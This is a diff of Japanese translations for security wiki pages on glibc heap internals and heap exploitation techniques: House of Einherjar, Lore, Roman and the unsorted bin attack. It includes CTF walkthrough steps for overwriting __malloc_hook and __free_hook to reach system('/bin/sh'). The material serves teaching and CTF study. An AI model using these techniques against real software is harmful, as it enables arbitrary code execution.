+チャンクが要求されたサイズより大きい場合はそれを使用し、チャンクの残りのスペースを未整理リストに設定し、`last_remainder` をそれで更新します。
-_int_malloc
未ソートビン in_smallbin_range
+_int_malloc
未整理ビン in_smallbin_range
```c
// From https://github.com/bminor/glibc/blob/master/malloc/malloc.c#L4090C11-L4124C14
@@ -623,7 +623,7 @@ return p;
```
-成功した場合はチャンクを返し、終了します。成功しなかった場合は、関数の実行を続けます...
+成功した場合は、チャンクを返して終了します。成功しなかった場合は、関数の実行を続けます...
#### サイズが等しい場合
@@ -682,8 +682,8 @@ return p;
大ビンの二重リンクリストが破損していないことを確認するために、セキュリティチェックが行われます:
-- If `fwd->bk_nextsize->fd_nextsize != fwd`: `malloc(): largebin double linked list corrupted (nextsize)`
-- If `fwd->bk->fd != fwd`: `malloc(): largebin double linked list corrupted (bk)`
+- `fwd->bk_nextsize->fd_nextsize != fwd`: `malloc(): largebin double linked list corrupted (nextsize)`
+- `fwd->bk->fd != fwd`: `malloc(): largebin double linked list corrupted (bk)`
@@ -761,11 +761,11 @@ bck->fd = victim;
#### `_int_malloc` の制限
-この時点で、使用可能な tcache にいくつかのチャンクが格納されていて、制限に達した場合は、単に **tcache チャンクを返す**。
+この時点で、使用可能な tcache にいくつかのチャンクが格納されており、制限に達した場合は、単に **tcache チャンクを返します**。
-さらに、**MAX_ITERS** に達した場合は、ループを抜けて別の方法でチャンクを取得する(トップチャンク)。
+さらに、**MAX_ITERS** に達した場合は、ループを抜けて別の方法でチャンクを取得します(トップチャンク)。
-`return_cached` が設定されている場合は、より大きな検索を避けるために、単に tcache からチャンクを返す。
+`return_cached` が設定されている場合は、より大きな検索を避けるために、単に tcache からチャンクを返します。
@@ -808,7 +808,7 @@ return tcache_get (tc_idx);
最終的に使用されたチャンクからの残りのスペースが新しいチャンクになり得る場合、それを未ソートビンに追加し、last_reminderが更新されます。
-未ソートビンに残りを追加する際にセキュリティチェックが行われます:
+残りを未ソートビンに追加する際にセキュリティチェックが行われます:
- `bck->fd-> bk != bck`: `malloc(): corrupted unsorted chunks`
@@ -887,7 +887,7 @@ return p;
```
-このチャンクが適切でない場合は、続行します。
+この目的に適したチャンクが見つからない場合は、続行します。
### 大きなビン(次の大きいもの)
@@ -1017,7 +1017,7 @@ return p;
この時点で、十分な大きさの新しいチャンクをトップチャンクから取得する時です。
-最初に、チャンクサイズが大きすぎないことを確認するセキュリティチェックが行われます(破損している):
+最初に、チャンクサイズが大きすぎないことを確認するセキュリティチェックが行われます(破損している場合):
- `chunksize(av->top) > av->system_mem`: `malloc(): corrupted top size`
@@ -1181,11 +1181,7 @@ return 0;
次に、以下も確認します:
-- 古いサイズに要求されたサイズのチャンクを作成するのに十分なスペースがないこと
-
-
-
-sysmalloc チェック
+- 古いサイズに要求されたサイズのためのチャンクを作成するのに十分なスペースがないこと
```c
/* Record incoming configuration of top */
@@ -1212,8 +1208,8 @@ assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE));
### sysmallocはメインアリーナではない
-最初に、このヒープのために前のヒープを**拡張**しようとします。もし不可能であれば、**新しいヒープを割り当て**て、使用できるようにポインタを更新しようとします。\
-最後に、それがうまくいかなかった場合は、**`sysmalloc_mmap`**を呼び出そうとします。
+最初にこのヒープのために前のヒープを**拡張**しようとします。もし不可能であれば、**新しいヒープを割り当てる**ことを試み、使用できるようにポインタを更新します。\
+最後に、それがうまくいかなかった場合は、**`sysmalloc_mmap`**を呼び出すことを試みます。
@@ -1343,7 +1339,7 @@ LIBC_PROBE (memory_sbrk_more, 2, brk, size);
### sysmalloc メインアリーナの前のエラー 1
-前回 `MORECORE_FAILURE` が返された場合は、`sysmalloc_mmap_fallback` を使用してメモリを再度割り当ててみてください。
+前回 `MORECORE_FAILURE` が返された場合、`sysmalloc_mmap_fallback` を使用してメモリを再度割り当ててみてください。
diff --git a/src/binary-exploitation/libc-heap/house-of-einherjar.md b/src/binary-exploitation/libc-heap/house-of-einherjar.md
index 9976241af..c4e50f1a3 100644
--- a/src/binary-exploitation/libc-heap/house-of-einherjar.md
+++ b/src/binary-exploitation/libc-heap/house-of-einherjar.md
@@ -18,7 +18,7 @@
- チャンクを割り当てたいときにフェイクチャンクを作成すること:
- サニティチェックを回避するためにポインタを自分自身を指すように設定する
- 一つのチャンクから次のチャンクへのヌルバイトを使った1バイトのオーバーフローで`PREV_INUSE`フラグを変更する。
-- ヌルオフバイを悪用したチャンクの`prev_size`に自分自身とフェイクチャンクの違いを示す
+- ヌルオフバイの悪用されたチャンクの`prev_size`に自分自身とフェイクチャンクの違いを示す
- フェイクチャンクのサイズもサニティチェックを回避するために同じサイズに設定されている必要があります
- これらのチャンクを構築するためには、ヒープリークが必要です。
@@ -26,15 +26,15 @@
- 攻撃者が制御するチャンク内に`A`フェイクチャンクが作成され、`fd`と`bk`が元のチャンクを指すように設定されて保護を回避します
- 2つの他のチャンク(`B`と`C`)が割り当てられます
-- `B`のオフバイワンを悪用して`prev in use`ビットがクリアされ、`prev_size`データが`C`チャンクが割り当てられる場所と以前に生成されたフェイク`A`チャンクとの違いで上書きされます
+- `B`のオフバイワンを悪用して`prev in use`ビットがクリアされ、`prev_size`データが`C`チャンクが割り当てられる場所と以前に生成されたフェイク`A`チャンクの違いで上書きされます
- この`prev_size`とフェイクチャンク`A`のサイズはチェックを回避するために同じでなければなりません。
- 次に、tcacheが埋められます
-- 次に、`C`が解放され、フェイクチャンク`A`と統合されます
+- その後、`C`が解放され、フェイクチャンク`A`と統合されます
- 次に、新しいチャンク`D`が作成され、フェイク`A`チャンクから始まり`B`チャンクを覆います
-- エインヘルヤルの家はここで終了します
+- エインヘリヤルの家はここで終了します
- これはファストビン攻撃またはTcacheポイズニングで続けることができます:
- `B`を解放してファストビン/Tcacheに追加します
-- `B`の`fd`が上書きされ、ターゲットアドレスを指すように設定され、`D`チャンクを悪用します(`B`が内部に含まれているため)
+- `B`の`fd`が上書きされ、ターゲットアドレスを指すようにし、`D`チャンクを悪用します(`B`が内部に含まれているため)
- 次に、2つのmallocが行われ、2つ目は**ターゲットアドレスを割り当てる**ことになります
## 参考文献と他の例
@@ -44,6 +44,6 @@
- ポインタを解放した後、それらはヌル化されないため、データにアクセスすることがまだ可能です。したがって、チャンクが未整理ビンに配置され、その中に含まれるポインタが漏洩します(libc leak)そして、新しいヒープが未整理ビンに配置され、取得したポインタからヒープアドレスが漏洩します。
- [**baby-talk. DiceCTF 2024**](https://7rocky.github.io/en/ctf/other/dicectf/baby-talk/)
- `strtok`のヌルバイトオーバーフローバグ。
-- エインヘルヤルの家を使用してオーバーラッピングチャンクの状況を取得し、Tcacheポイズニングで任意の書き込みプリミティブを取得します。
+- エインヘリヤルの家を使用してオーバーラッピングチャンクの状況を取得し、Tcacheポイズニングで任意の書き込みプリミティブを取得します。
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/libc-heap/house-of-lore.md b/src/binary-exploitation/libc-heap/house-of-lore.md
index 981e03029..4427cc94e 100644
--- a/src/binary-exploitation/libc-heap/house-of-lore.md
+++ b/src/binary-exploitation/libc-heap/house-of-lore.md
@@ -6,11 +6,11 @@
### コード
-- [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_lore/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_lore/)のものを確認してください
-- これは動作していません
+- [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_lore/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_lore/) のものを確認してください
+- これは動作しません
- または: [https://github.com/shellphish/how2heap/blob/master/glibc_2.39/house_of_lore.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.39/house_of_lore.c)
-- これは、エラー`malloc(): unaligned tcache chunk detected`を取得しようとする場合でも動作していません
-- この例はまだ動作しています: [**https://guyinatuxedo.github.io/40-house_of_lore/house_lore_exp/index.html**](https://guyinatuxedo.github.io/40-house_of_lore/house_lore_exp/index.html)
+- これは、`malloc(): unaligned tcache chunk detected`というエラーを取得しながらいくつかのチェックをバイパスしようとしても動作しません
+- この例はまだ動作します: [**https://guyinatuxedo.github.io/40-house_of_lore/house_lore_exp/index.html**](https://guyinatuxedo.github.io/40-house_of_lore/house_lore_exp/index.html)
### 目標
@@ -19,7 +19,7 @@
### 要件
-- 2つの偽のチャンクを作成し、それらを小さなビン内の正当なチャンクとリンクさせる:
+- 2つの偽のチャンクを作成し、それらを互いにリンクし、小さなビン内の正当なチャンクとリンクします:
- `fake0.bk` -> `fake1`
- `fake1.fd` -> `fake0`
- `fake0.fd` -> `legit`(他の脆弱性を介して解放された小さなビンチャンク内のポインタを修正する必要があります)
@@ -29,14 +29,14 @@
### 攻撃
-- 小さなチャンク(`legit`)が割り当てられ、次に別のチャンクが割り当てられてトップチャンクとの統合を防ぎます。次に、`legit`が解放され(未ソートビンリストに移動)、より大きなチャンクが割り当てられ、**`legit`が小さなビンに移動します。**
-- 攻撃者は一対の偽の小さなチャンクを生成し、整合性チェックを回避するために必要なリンクを作成します:
+- 小さなチャンク(`legit`)が割り当てられ、その後、トップチャンクと統合されないように別のチャンクが割り当てられます。次に、`legit`が解放され(未整理ビンリストに移動)、より大きなチャンクが割り当てられ、**`legit`が小さなビンに移動します。**
+- 攻撃者は一対の偽の小さなチャンクを生成し、整合性チェックをバイパスするために必要なリンクを作成します:
- `fake0.bk` -> `fake1`
- `fake1.fd` -> `fake0`
- `fake0.fd` -> `legit`(他の脆弱性を介して解放された小さなビンチャンク内のポインタを修正する必要があります)
- `legit.bk` -> `fake0`
-- 小さなチャンクが割り当てられ、`legit`を取得し、**`fake0`**を小さなビンのトップリストにします
-- 別の小さなチャンクが割り当てられ、`fake0`がチャンクとして取得され、その内部のポインタを読み書きする可能性を許可します。
+- 小さなチャンクが割り当てられ、正当なものを取得し、**`fake0`**を小さなビンのトップリストにします
+- さらに別の小さなチャンクが割り当てられ、`fake0`がチャンクとして取得され、内部のポインタを読み書きする可能性を許可します。
## 参考文献
diff --git a/src/binary-exploitation/libc-heap/house-of-roman.md b/src/binary-exploitation/libc-heap/house-of-roman.md
index eb5bb0289..c6dbc2636 100644
--- a/src/binary-exploitation/libc-heap/house-of-roman.md
+++ b/src/binary-exploitation/libc-heap/house-of-roman.md
@@ -4,11 +4,11 @@
## 基本情報
-これは、フェイクファストビン、unsorted_bin攻撃、相対的な上書きを介して、リークなしでRCEを可能にする非常に興味深い技術でした。しかし、これは[**パッチが当てられました**](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c)。
+これは、フェイクファストビン、アンソートビン攻撃、相対的オーバーライトを介してリークなしでRCEを可能にする非常に興味深い技術でした。しかし、これは[**パッチが当てられました**](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c)。
### コード
-- [https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)に例があります。
+- 例は[https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)で見つけることができます。
### 目標
@@ -16,8 +16,8 @@
### 要件
-- fastbinとunsorted binポインタを編集する
-- 12ビットのランダム性をブルートフォースする必要があります(成功する確率は0.02%)
+- ファストビンとアンソートビンのポインタを編集する
+- 12ビットのランダム性をブルートフォースする必要がある(成功する確率は0.02%)
## 攻撃手順
@@ -30,7 +30,7 @@
- `main_arena_use` (0x80, オフセット 0x100)
- `relative_offset_heap` (0x60, オフセット 0x190): 'main_arena_use'チャンクの相対オフセット
-次に、`free(main_arena_use)`を実行すると、このチャンクがunsortedリストに配置され、`fd`と`bk`ポインタの両方に`main_arena + 0x68`へのポインタが得られます。
+次に`free(main_arena_use)`を実行すると、このチャンクがアンソートリストに配置され、`fd`と`bk`ポインタの両方に`main_arena + 0x68`へのポインタが得られます。
今、新しいチャンク`fake_libc_chunk(0x60)`が割り当てられます。これは、`fd`と`bk`に`main_arena + 0x68`へのポインタを含むためです。
@@ -49,19 +49,19 @@ fastbin: fastbin_victim -> relative_offset_heap
unsorted: leftover_main
*/
```
-- `fastbin_victim` は `relative_offset_heap` を指す `fd` を持っています
-- `relative_offset_heap` は `fake_libc_chunk` からの距離のオフセットで、`main_arena + 0x68` へのポインタを含んでいます
-- `fastbin_victim.fd` の最後のバイトを変更することで、`fastbin_victim` が `main_arena + 0x68` を指すようにすることが可能です
+- `fastbin_victim` は `relative_offset_heap` を指す `fd` を持っています。
+- `relative_offset_heap` は `fake_libc_chunk` からの距離のオフセットで、`main_arena + 0x68` へのポインタを含んでいます。
+- `fastbin_victim.fd` の最後のバイトを変更することで、`fastbin_victim` が `main_arena + 0x68` を指すようにすることが可能です。
-前述のアクションのために、攻撃者は `fastbin_victim` の fd ポインタを変更できる必要があります。
+前述の操作を行うためには、攻撃者は `fastbin_victim` の fd ポインタを変更できる必要があります。
-次に、`main_arena + 0x68` はそれほど興味深くないので、ポインタを **`__malloc_hook`** を指すように変更します。
+次に、`main_arena + 0x68` はそれほど興味深くないので、ポインタを **`__malloc_hook`** を指すように変更しましょう。
-`__memalign_hook` は通常 `0x7f` で始まり、その前にゼロが続くため、`0x70` のファストビン内の値として偽装することが可能です。アドレスの最後の 4 ビットは **ランダム** であるため、興味のある場所を指す値の可能性は `2^4=16` です。したがって、ここで BF 攻撃が行われ、チャンクは次のようになります: **`0x70: fastbin_victim -> fake_libc_chunk -> (__malloc_hook - 0x23)`**。
+`__memalign_hook` は通常 `0x7f` で始まり、その前にゼロが続くため、`0x70` のファストビン内の値として偽装することが可能です。アドレスの最後の4ビットは **ランダム** であるため、興味のある場所に最終的に指す値の可能性は `2^4=16` です。したがって、ここで BF 攻撃が行われ、チャンクは次のようになります: **`0x70: fastbin_victim -> fake_libc_chunk -> (__malloc_hook - 0x23)`**。
(残りのバイトについての詳細は、[how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)[の例](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)の説明を確認してください)。BF が機能しない場合、プログラムは単にクラッシュします(動作するまで再試行してください)。
-次に、2 つの malloc が実行され、最初の 2 つのファストビンチャンクが削除され、3 つ目がアロケートされて **`__malloc_hook:`** にチャンクを取得します。
+その後、2つの malloc が実行され、最初の2つのファストビンチャンクが削除され、3つ目が **`__malloc_hook:`** にチャンクを取得するために割り当てられます。
```c
malloc(0x60);
malloc(0x60);
@@ -69,7 +69,7 @@ uint8_t* malloc_hook_chunk = malloc(0x60);
```
### Part 2: Unsorted_bin 攻撃
-詳細については、次を確認できます:
+詳細については、次を確認できます:
{{#ref}}
unsorted-bin-attack.md
@@ -77,7 +77,7 @@ unsorted-bin-attack.md
基本的には、`chunk->bk`で指定された任意の場所に`main_arena + 0x68`を書き込むことを可能にします。そして、攻撃のために`__malloc_hook`を選択します。その後、上書きした後に相対的な上書きを使用して`one_gadget`を指すようにします。
-これを行うために、チャンクを取得し、**unsorted bin**に入れ始めます:
+これを行うために、チャンクを取得し、**unsorted bin**に入れ始めます:
```c
uint8_t* unsorted_bin_ptr = malloc(0x80);
malloc(0x30); // Don't want to consolidate
@@ -86,20 +86,20 @@ puts("Put chunk into unsorted_bin\n");
// Free the chunk to create the UAF
free(unsorted_bin_ptr);
```
-このチャンクでUAFを使用して`unsorted_bin_ptr->bk`を`__malloc_hook`のアドレスにポイントします(これは以前にブルートフォースしました)。
+このチャンクでUAFを使用して、`unsorted_bin_ptr->bk`を`__malloc_hook`のアドレスにポイントします(これは以前にブルートフォースしました)。
> [!CAUTION]
-> この攻撃は未整理ビンを破損させるため(したがって小と大も)、**今はファストビンからの割り当てのみを使用できます**(より複雑なプログラムは他の割り当てを行い、クラッシュする可能性があります)、これをトリガーするためには**同じサイズを割り当てる必要があります。さもなければプログラムはクラッシュします。**
+> この攻撃は未整理ビンを破損させることに注意してください(したがって小と大も)。したがって、**今はファストビンからの割り当てのみを使用できます**(より複雑なプログラムは他の割り当てを行い、クラッシュする可能性があります)、そしてこれをトリガーするためには、**同じサイズを割り当てる必要があります。さもなければプログラムはクラッシュします。**
-したがって、`__malloc_hook`に`main_arena + 0x68`の書き込みをトリガーするために、`unsorted_bin_ptr->bk`に`__malloc_hook`を設定した後、**`malloc(0x80)`**を実行する必要があります。
+したがって、`__malloc_hook`に`main_arena + 0x68`の書き込みをトリガーするために、`unsorted_bin_ptr->bk`に`__malloc_hook`を設定した後、単に**`malloc(0x80)`**を実行する必要があります。
### ステップ3: \_\_malloc_hookをsystemに設定
-ステップ1では、`__malloc_hook`を含むチャンクを制御することに成功しました(変数`malloc_hook_chunk`内)。ステップ2では、ここに`main_arena + 0x68`を書き込むことができました。
+ステップ1では、`__malloc_hook`を含むチャンクを制御することができ(変数`malloc_hook_chunk`内)、ステップ2ではここに`main_arena + 0x68`を書き込むことに成功しました。
今、`malloc_hook_chunk`内の部分的な上書きを悪用して、そこに書き込んだlibcアドレス(`main_arena + 0x68`)を**`one_gadget`アドレスにポイントさせます**。
-ここで**12ビットのランダム性をブルートフォースする必要があります**(詳細は[how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)[の例](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)を参照)。
+ここで**12ビットのランダム性をブルートフォースする必要があります**(詳細は[how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)[の例](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)を参照してください)。
最後に、正しいアドレスが上書きされたら、**`malloc`を呼び出して`one_gadget`をトリガーします**。
diff --git a/src/binary-exploitation/libc-heap/unsorted-bin-attack.md b/src/binary-exploitation/libc-heap/unsorted-bin-attack.md
index fc739f61d..3c0cd4288 100644
--- a/src/binary-exploitation/libc-heap/unsorted-bin-attack.md
+++ b/src/binary-exploitation/libc-heap/unsorted-bin-attack.md
@@ -4,70 +4,70 @@
## 基本情報
-未整理ビンについての詳細はこのページを確認してください:
+未整理ビンについての詳細は、このページを確認してください:
{{#ref}}
bins-and-memory-allocations.md
{{#endref}}
-未整理リストは、チャンクの `bk` アドレスに `unsorted_chunks (av)` のアドレスを書き込むことができます。したがって、攻撃者が未整理ビン内のチャンクの `bk` ポインタのアドレスを**変更できれば**、**そのアドレスを任意のアドレスに書き込むことができ**、Glibc アドレスを漏洩させたり、いくつかの防御を回避したりするのに役立ちます。
+未整理リストは、チャンクの `bk` アドレスに `unsorted_chunks (av)` のアドレスを書き込むことができます。したがって、攻撃者が未整理ビン内のチャンクの `bk` ポインタのアドレスを**変更できる**場合、彼は**任意のアドレスにそのアドレスを書き込む**ことができ、これはGlibcのアドレスを漏洩させたり、いくつかの防御を回避するのに役立ちます。
-基本的に、この攻撃は**任意のアドレスに大きな数を設定することを可能にします**。この大きな数はアドレスであり、ヒープアドレスまたはGlibcアドレスである可能性があります。典型的なターゲットは**`global_max_fast`**であり、これによりより大きなサイズのファストビンを作成できるようになります(未整理ビン攻撃からファストビン攻撃に移行します)。
+基本的に、この攻撃は**任意のアドレスに大きな数を設定する**ことを可能にします。この大きな数はアドレスであり、ヒープアドレスまたはGlibcアドレスである可能性があります。典型的なターゲットは**`global_max_fast`**であり、これによりより大きなサイズのファストビンを作成できるようになります(未整理ビン攻撃からファストビン攻撃に移行することができます)。
> [!TIP]
-> 提供された例を見て、[https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle) で 0x4000 と 0x5000 をチャンクサイズとして使用すると(Tcacheを避けるため)、**現在**エラー **`malloc(): unsorted double linked list corrupted`** が発生することがわかります。
+> 提供された例を見て、[https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle)で0x4000と0x5000をチャンクサイズとして使用すると(Tcacheを避けるため)、**現在**エラー**`malloc(): unsorted double linked list corrupted`**がトリガーされることがわかります。
>
-> したがって、この未整理ビン攻撃は現在(他のチェックとともに)二重リンクリストを修正できる必要があり、`victim->bk->fd == victim` または `victim->fd == av (arena)` を回避する必要があります。これは、書き込みたいアドレスがその `fd` ポジションにフェイクチャンクのアドレスを持ち、フェイクチャンクの `fd` がアリーナを指していることを意味します。
+> したがって、この未整理ビン攻撃は、(他のチェックの中で)ダブルリンクリストを修正できる必要があり、`victim->bk->fd == victim`または`victim->fd == av (arena)`でないことが必要です。これは、書き込みたいアドレスがその`fd`位置にフェイクチャンクのアドレスを持ち、フェイクチャンクの`fd`がアリーナを指していることを意味します。
> [!CAUTION]
> この攻撃は未整理ビンを破損させることに注意してください(したがって小さなものと大きなものも)。したがって、**現在はファストビンからの割り当てのみを使用できます**(より複雑なプログラムは他の割り当てを行い、クラッシュする可能性があります)、これをトリガーするには、**同じサイズを割り当てる必要があります。さもなければプログラムはクラッシュします。**
>
-> **`global_max_fast`** を上書きすることは、この場合に役立つかもしれません。ファストビンが他のすべての割り当てを処理できると信頼して、エクスプロイトが完了するまで。
+> **`global_max_fast`**を上書きすることは、この場合に役立つかもしれません。ファストビンが他のすべての割り当てを処理できると信頼して、エクスプロイトが完了するまで。
-[**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_attack/unsorted_explanation/index.html) のコードは非常によく説明していますが、mallocを変更して十分なメモリを割り当て、Tcacheに終わらないようにすると、前述のエラーが発生し、この技術を防ぐことができます:**`malloc(): unsorted double linked list corrupted`**
+[**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_attack/unsorted_explanation/index.html)のコードは非常によく説明していますが、mallocを変更してメモリを十分に大きく割り当て、Tcacheに終わらないようにすると、前述のエラーが発生し、この技術を妨げることができます:**`malloc(): unsorted double linked list corrupted`**
## 未整理ビン情報漏洩攻撃
-これは実際には非常に基本的な概念です。未整理ビン内のチャンクにはポインタが含まれます。未整理ビンの最初のチャンクは、実際には**`fd`** と **`bk`** リンクが**メインアリーナ(Glibc)の一部を指しています**。\
-したがって、**未整理ビン内にチャンクを置いてそれを読み取ることができれば**(use after free)または**ポインタの少なくとも1つを上書きせずに再度割り当ててから**それを**読み取ることができれば、**Glibc情報漏洩**を得ることができます。
+これは実際には非常に基本的な概念です。未整理ビン内のチャンクにはポインタが含まれます。未整理ビンの最初のチャンクは、実際には**`fd`**と**`bk`**リンクが**メインアリーナ(Glibc)の一部を指しています**。\
+したがって、チャンクを未整理ビンに**入れて読み取る**(使用後の解放)か、**ポインタの少なくとも1つを上書きせずに再度割り当ててから**それを**読み取る**ことができれば、**Glibc情報漏洩**を得ることができます。
-この[**攻撃はこの書き込みで使用されました**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html)が、4つのチャンク構造(A、B、C、D - Dはトップチャンクとの統合を防ぐためだけに存在します)を悪用するもので、Bでのヌルバイトオーバーフローを使用してCがBが未使用であることを示すようにしました。また、Bでは `prev_size` データが変更され、サイズがBのサイズではなくA+Bになりました。\
-その後、Cが解放され、A+Bと統合されました(ただしBはまだ使用中でした)。サイズAの新しいチャンクが割り当てられ、その後、libcから漏洩したアドレスがBに書き込まれ、そこから漏洩しました。
+この[**書き込みで使用された攻撃**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html)は、4つのチャンク構造(A、B、C、D - Dはトップチャンクとの統合を防ぐためだけに存在します)を悪用するもので、Bでのヌルバイトオーバーフローを使用してCがBが未使用であることを示すようにしました。また、Bでは`prev_size`データが変更され、サイズがBのサイズではなくA+Bになりました。\
+その後、Cが解放され、A+Bと統合されました(ただしBはまだ使用中でした)。サイズAの新しいチャンクが割り当てられ、その後、libcの漏洩アドレスがBに書き込まれ、そこから漏洩しました。
## 参考文献と他の例
- [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap)
-- 目標は、4869より大きな値でグローバル変数を上書きすることで、フラグを取得できるようにし、PIEは有効になっていません。
+- 目標は、4869より大きな値でグローバル変数を上書きすることで、フラグを取得できるようにすることです。PIEは有効になっていません。
- 任意のサイズのチャンクを生成でき、希望のサイズでヒープオーバーフローがあります。
- 攻撃は3つのチャンクを作成することから始まります:チャンク0はオーバーフローを悪用し、チャンク1はオーバーフローされ、チャンク2はトップチャンクが前のものと統合しないようにします。
-- 次に、チャンク1が解放され、チャンク0がチャンク1の `bk` ポインタを指すようにオーバーフローします:`bk = magic - 0x10`
+- 次に、チャンク1が解放され、チャンク0がチャンク1の`bk`ポインタを指すようにオーバーフローします:`bk = magic - 0x10`
- 次に、チャンク1と同じサイズのチャンク3が割り当てられ、これが未整理ビン攻撃をトリガーし、グローバル変数の値を変更し、フラグを取得できるようにします。
- [**https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html**](https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html)
- マージ関数は脆弱であり、渡された両方のインデックスが同じであれば、それを再割り当てし、その後解放しますが、解放された領域へのポインタを返します。
-- したがって、**2つのチャンクが作成されます**:**チャンク0**は自分自身とマージされ、チャンク1はトップチャンクとの統合を防ぎます。次に、**マージ関数がチャンク0で2回呼び出され**、これにより使用後の解放が発生します。
-- 次に、**`view`** 関数がインデックス2(使用後の解放チャンクのインデックス)で呼び出され、**libcアドレスが漏洩します**。
-- バイナリには**`global_max_fast`** より大きなサイズのみをmallocする保護があるため、ファストビンは使用されず、未整理ビン攻撃が使用されてグローバル変数 `global_max_fast` を上書きします。
-- 次に、インデックス2(使用後の解放ポインタ)で編集関数を呼び出し、`bk` ポインタを `p64(global_max_fast-0x10)` を指すように上書きします。次に、新しいチャンクを作成すると、以前に妥協された解放アドレス(0x20)が使用され、**未整理ビン攻撃がトリガーされ**、`global_max_fast` を非常に大きな値で上書きし、ファストビンでチャンクを作成できるようになります。
-- ここで**ファストビン攻撃**が実行されます:
-- まず、**`__free_hook`** の場所でサイズ200のファストチャンクを操作できることがわかります:
-- gef➤ p &__free_hook
-$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
+- したがって、**2つのチャンクが作成されます**:**チャンク0**は自分自身とマージされ、チャンク1はトップチャンクとの統合を防ぎます。次に、**マージ関数がチャンク0**に対して2回呼び出され、使用後の解放が発生します。
+- 次に、**`view`**関数がインデックス2(使用後の解放チャンクのインデックス)で呼び出され、**libcアドレスが漏洩します**。
+- バイナリには**`global_max_fast`**より大きなサイズのみをmallocする保護があるため、ファストビンは使用されず、未整理ビン攻撃が使用されてグローバル変数`global_max_fast`を上書きします。
+- 次に、インデックス2(使用後の解放ポインタ)で編集関数を呼び出し、`bk`ポインタを`p64(global_max_fast-0x10)`を指すように上書きします。次に、新しいチャンクを作成すると、以前に妥協された解放アドレス(0x20)が使用され、**未整理ビン攻撃がトリガーされ**、`global_max_fast`が非常に大きな値で上書きされ、ファストビンでチャンクを作成できるようになります。
+- その後、**ファストビン攻撃**が実行されます:
+- まず、**`__free_hook`**の場所でサイズ200のファストチャンクを操作できることが発見されます:
+- gef➤ p &__free_hook
+$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
0x7ff1e9e6074f: 0x0000000000000000 0x0000000000000200
0x7ff1e9e6075f: 0x0000000000000000 0x0000000000000000
-0x7ff1e9e6076f <list_all_lock+15>: 0x0000000000000000 0x0000000000000000
-0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000
+0x7ff1e9e6076f : 0x0000000000000000 0x0000000000000000
+0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000
- この場所でサイズ0x200のファストチャンクを取得できれば、実行される関数ポインタを上書きすることが可能になります。
-- そのために、サイズ `0xfc` の新しいチャンクを作成し、そのポインタでマージ関数を2回呼び出すことで、ファストビン内のサイズ `0xfc*2 = 0x1f8` の解放されたチャンクへのポインタを取得します。
-- 次に、このチャンクの編集関数を呼び出して、このファストビンの**`fd`** アドレスを前の**`__free_hook`** 関数を指すように変更します。
-- 次に、サイズ `0x1f8` のチャンクを作成して、ファストビンから以前の無駄なチャンクを取得し、別のサイズ `0x1f8` のチャンクを作成して、**`__free_hook`** 内のファストビンチャンクを取得し、**`system`** 関数のアドレスで上書きします。
-- 最後に、文字列 `/bin/sh\x00` を含むチャンクが削除関数を呼び出して解放され、**`__free_hook`** 関数がトリガーされ、`system` に `/bin/sh\x00` をパラメータとして渡します。
+- そのために、サイズ`0xfc`の新しいチャンクを作成し、そのポインタでマージ関数を2回呼び出します。これにより、ファストビン内のサイズ`0xfc*2 = 0x1f8`の解放されたチャンクへのポインタを取得します。
+- 次に、このチャンクの編集関数が呼び出され、このファストビンの**`fd`**アドレスを前の**`__free_hook`**関数を指すように変更します。
+- 次に、サイズ`0x1f8`のチャンクが作成され、ファストビンから以前の無駄なチャンクを取得し、別のサイズ`0x1f8`のチャンクが作成され、**`__free_hook`**内のファストビンチャンクが**`system`**関数のアドレスで上書きされます。
+- 最後に、文字列`/bin/sh\x00`を含むチャンクが削除関数を呼び出して解放され、**`__free_hook`**関数がトリガーされ、`system`が`/bin/sh\x00`をパラメータとして指します。
